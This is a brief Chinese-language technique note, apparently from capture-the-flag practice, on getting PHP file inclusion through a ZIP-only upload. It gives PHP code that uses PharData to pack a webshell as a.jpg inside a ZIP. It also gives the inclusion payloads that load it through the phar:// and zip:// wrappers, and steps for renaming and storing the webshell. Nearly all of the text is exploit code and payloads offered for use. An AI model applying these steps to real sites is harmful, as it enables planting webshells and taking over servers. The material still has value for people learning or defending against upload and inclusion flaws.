题目中只允许上传ZIP文件,适用此种解法
phar://
生成代码:
<?php
$p = new PharData(dirname(__FILE__).'/phartest.zip', 0,'phartest',Phar::ZIP) ;
$x=file_get_contents('./php.php'); //要包含的文件,通常为webshell.php
$p->addFromString('a.jpg', $x);
?>
会生成一个zip的压缩文件。然后我们构造
?file=phar://upload/phartest.zip/a.jpg
zip://
将webshell.php改名为a.jpg,用winrar进行压缩,注意压缩方式为“存储"
上传后进行文件包含:?file=zip://upload/a.zip%23a.jpg